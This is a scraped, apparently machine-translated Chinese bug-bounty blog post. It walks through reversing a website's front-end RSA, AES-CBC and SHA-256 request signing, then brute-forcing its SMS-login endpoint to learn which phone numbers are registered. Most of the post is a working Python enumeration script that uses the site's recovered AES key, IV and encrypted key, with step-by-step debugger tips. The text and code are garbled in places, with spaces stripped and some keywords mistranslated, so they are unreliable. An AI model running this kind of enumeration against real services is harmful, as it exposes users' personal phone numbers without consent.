当前位置: 首页 > Web前端 > HTML

隧道实战中的信息泄露与前端加密

时间:2023-03-28 01:46:46 HTML

前言本文不是密码类文章,算法流程/代码逻辑就不细说了,因为没有意义。实战中肯定是具体问题具体分析,了解一个大概的流程就好了。 在挖掘的过程中,很容易发现一些通过手机验证码验证登录/忘记密码的网站,从而获取数据库中所有注册的手机号码,这也是一种信息泄露。这种坑非常好挖,技术要求不高,非常适合SRC入门! 如果站点在请求时有前端加密,那很有可能是常规的AES或者RSA(比如以前的京东/哔哩哔哩)。所以写一篇文章,整理一下思路。求源 前几天挖坑的时候看到一个 发了个验证码先跑了一百个请求。寄包裹没有限制,就是有门! 可是问题来了。请求体是这样的,很明显是在前端加密的。要想爆破,就得先搞清楚加密逻辑。 打开F12,发现控制台在输出东西。 再看资源文件,在chunk文件中添加index,然后直接进入index.js文件。 接下来就是寻找具体位置的时候了。表哥c0ny1给了一些很好的方法。详见快速定位前端加密方法 可惜这个站不太好用,只能慢慢找了。 一般前端加密使用的是JSEncrypt库,所以可以尝试搜索一些jsencrypt相关的方法名,比如setPublicKey,encrypt等。 如果压缩代码太累,可以试试http://jsnice.org/美化。 不要用手撕js,会倒霉的。 先打开F12,点开源代码,点一个js文件,再点左下角的美化按钮 代码就变好看了 试试搜索encrypt,大概找到了位置我找到了。 这里有很多函数,encodeRSA、decodeRSA、getKeyRSADefault、encodeAES、decodeAES、getKeyAES、signature等函数名,可以说是最明显的提示了。分析 经过不眠的折磨,渐渐明白了一切。0.小样 首先了解JSEncrypt库,很简单importJSEncryptfrom'jsencrypt'//encryptionvarencryptor=newJSEncrypt()varpubKey='-----BEGINPUBLICKEY-----publickey-----ENDPUBLICKEY-----'encryptor.setPublicKey(pubKey)//设置公钥varrsaPassWord=encryptor.encrypt('contenttobeencrypted')//decryptvardecrypt=newJSEncrypt()varpriKey='-----BEGINRSAPRIVATEKEY-----私钥-----ENDRSAPRIVATEKEY----'decrypt.setPrivateKey(priKey)//设置秘钥varuncrypted=decrypt.decrypt("tobedecryptedContent")//解密前用公钥加密的内容1.RSA 先在疑似RSA加密的位置末尾设置断点,为什么要在末尾?大意是:不关心这个函数的具体逻辑,因为太费劲;从结果推过程,直接看代码运行后的参数和返回值,并以此根据所学的知识/经验推断出这个函数的作用。 我们不是来拼密码的,我们是来挖坑的。 然后你会发现右边有很多参数。 好了,我们再来看encodeRSA函数。已知n为0,函数有用的部分就变成这样了 而s["JSEncrypt"]显然是JSEncrypt库的JSEncrypt对象,所以代码会组织成这里:function(){o=newJSEncrypt();o.setPublicKey(a);returno.encrypt(t)} 看,其实就是普通的RSA加密! 并且RSA公钥也给出了,也就是参数a! 然后用值PHVDHENXNREOEVON加密字符串参数t。该值是网页加载时执行getKeyAES函数的结果。 在F12的控制台执行,也能输出类似的结果。 JSEncrypt默认的RSA加密机制是RSAES-PKCS1-V1_5,同样进行了base64编码。 扔到Cyber??Chef里面,放在一边,以后有用。 加密完成,是时候尝试解密了。解密需要私钥。一般前端加密时,公钥会直接放在JS中,如果需要解密,私钥也可能会放在这里。 随便看一下,公钥和私钥在下面,把这个公钥和跑出上一个断点的公钥对比一下也是对的。 这样就可以解密了。2.AES 接下来就是AES了。同样,在下一个断点处查看结果。 可以发现参数e是输入值,参数t的值和前面的值完全一样,也是需要加密的字符串。 并且还给出了AES相关的参数: 初始向量:1234567812345678,CBC模式,zeropadding填充。对于 AES,Cyber??Chef没有padding相关的选项,计算结果的最后一位也不同,所以使用我表哥写的另一个工具:https://github.com/Leon406/To... 解码也一样,毕竟是对称加密。3、SHA-256 SHA-2,名字来源于SecureHashAlgorithm2(安全哈希算法2)的缩写,一种密码学哈希函数算法标准,属于SHA算法之一,是SHA算法的后继者SHA-1通过。又可以分为六种不同的算法标准,包括:SHA-224、SHA-256、SHA-384、SHA-512、SHA-512/224、SHA-512/256 这里是最后的纹波是最复杂的地方。 还是一样的思路,但是因为输入的参数比较难猜,所以我在同一行加了几个断点,看参数变化。这是一个很好的技巧!如下图所示,每个蓝色三角形都是一个断点。 这里可以发现,这段代码的意思是将e组合起来,在键值对上加上等号,用逗号连接,组成字符串n。 之后又将字符串n进行了相关处理,去掉逗号空格啊,加上括号啊,最后输出格式如下:{clientId=P_AIAS_ROS,encodeKey=GqdPQJptPlZctYZ+tEBo0MDTD7TntMDsrN3ATv5SC/WScxyhpYu/WoQsI0u42eDphmlhuHYWA6rPbWlcDYfyrHN8HWrrzHe+X7aiQh9Hnb1iR//I3abF4+Td641b1SeeYdU3aloc3ScaS8+CbVARKiM9g27R8CKk8Dbekb6lMEk=,requestData=Cy8UWBCz0dwJUBQ1u5BJr1jxicrnJ6YnrwchucXDanOVdV8Pp3rn1Uq35FB3pR7I,requestId=1647409240148,secret=test,timestamp=20220316014040} 好,接下来来验证一下 这是返回值89a6716fb3958c180837569a4a50a093a2bfa0ab6763a3b439a05b78e80d38f9 输出结果对的上,说明没错: Lookattherequestbodyinthefigurebelow,andfinallysummarizeit. 1.GetanAESKEYwithalengthof16whenthewebpageisloaded,andthenencrypttheAESKEYwithRSA+Base64,andtheresultisencodeKey, 2.Set{"phone":"13888888888","ThestringintheformatofsmsCode":""}isAES+Base64encryptedaccordingtotheAESKEY,andtheresultisrequestData 3.clientId,requestId,andtimestamparenotaffected.Thesethreeparametersarenotinvolvedincryptographicoperationsandcanbechangedarbitrarily. 4.FusionallparametersforSHA256encryptiontosign.Theblasting analysisiscompleted,andthentheblastingcanbegin. Next,therearetwoways: 1.WritePythoncode.Becausethethinkingisclearandtheencryptionlogicissimple,youcandirectlyrubitbyhand. 2.WriteJavaScriptcodeandcooperatewithc0ny1'scousinhttps://github.com/c0ny1/jsEn.... 这里我选择1,具体代码如下:importhashlibimporturllib3importrequestsimportbase64fromCrypto.CipherimportAESurllib3.disable_warnings()aeskeyandinitialvectorkey='PHVDHENXNREOEVON'vi='1234567812345678'url=""headers={"Sec-Ch-Ua":"\"NotA;Brand\";v=\"99\",\"Chromium\";v=\"98\",\"GoogleChrome\";v=\"98\"","Accept":"application/json,text/plain,*/*","Content-Type":"application/json;charset=UTF-8","Sec-Ch-Ua-Mobile":"?0","User-Agent":"Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/98.0.4758.102Safari/537.36","Token":"undefined","Sec-Ch-Ua-Platform":"\"Windows\"","Sec-Fetch-Site":"同源","Sec-Fetch-Mode":"cors","Sec-获取目标”:"empty","Accept-Encoding":"gzip,deflate","Accept-Language":"zh-CN,zh;q=0.9","Connection":"close"}defAES_Encrypt(data):globalkeyglobalvipad=lambdas:s+(16-len(s)%16)*chr(0)data=pad(data)#stringcomplementcipher=AES.new(key.encode('utf8'),AES.MODE_CBC,vi.encode('utf8'))encryptedbytes=cipher.encrypt(data.encode('utf8'))#加密后得到字节类型的数据。encodestrs=base64.b64encode(encryptedbytes)#使用Base64编码,返回字节串enctext=encodestrs.decode('utf8')#按照utf-8解码字节串returnenctextdefAES_Decrypt(data):globalkeyglobalvidata=data.encode('utf8')encodebytes=base64.decodebytes(data)#将加密后的数据转成字节类型数据cipher=AES.new(key.encode('utf8'),AES.MODE_CBC,vi.encode('utf8'))text_decrypted=cipher.decrypt(encodebytes)text_decrypted=text_decrypted.rstrip(b'\0')#补充text_decrypted=text_decrypted.decode('utf8')returntext_decrypteddefsha256(text):returnhashlib.sha256(text.encode()).hexdigest()phone_list=[]withopen('test-phone.txt','r',encoding='utf8')asf:foriinf:phone_list.append(i.strip())?foriinphone_list:requestsData=AES_Encrypt('{"phone":"%s","smsCode":""}'%i)encodeKey="lFd5OEc6BEDbh/KA/JiYNOG1xoQY3GgwS8HAjWAVUt19zxXEzjvtice8EZapgHY0HqyEUaZT6lLFTXHfmJ0qXLyPLVzf01yQ0UMIWYQOHPyDygm4JXW/7OBO1dpb3uTjo0MF0YO0U3+LF+LfNHvbqByeXgj1vmswlrNSQMmRgmw="sign_exp='{clientId=1,encodeKey=%s,requestData=%s,requestId=1,secret=test,timestamp=1}'%(encodeKey,requestsData)sign=sha256(sign_exp)json={"clientId":"1","encodeKey":encodeKey,"requestData":requestsData,"requestId":"1","sign":sign,"timestamp":"1"}res=requests.post(url,headers=headers,json=json,verify=False)try:result=AES_Decrypt(res.text.strip())if'手机号没有找到用户'结果:print("unregistered"+i)else:print("queried:"+i)exceptExceptionase:print(e)print(res.text)在exit()代码中,我保持encodeKey不变,也就是说AESKEY不变,爆破代码不需要写RSA相关。 因为返回值是这样子的,也是AES加密,所以写了一个AES_Decrypt函数来解密返回包。 这种爆手机号的坑我也试过投了两个给CNVD,一个投了,一个被拒了。信息泄露的定义真的很难。 更多网络安全技能在线实战练习,请点击这里>> 更多网络安全工具和学习资料,扫描二维码免费获取: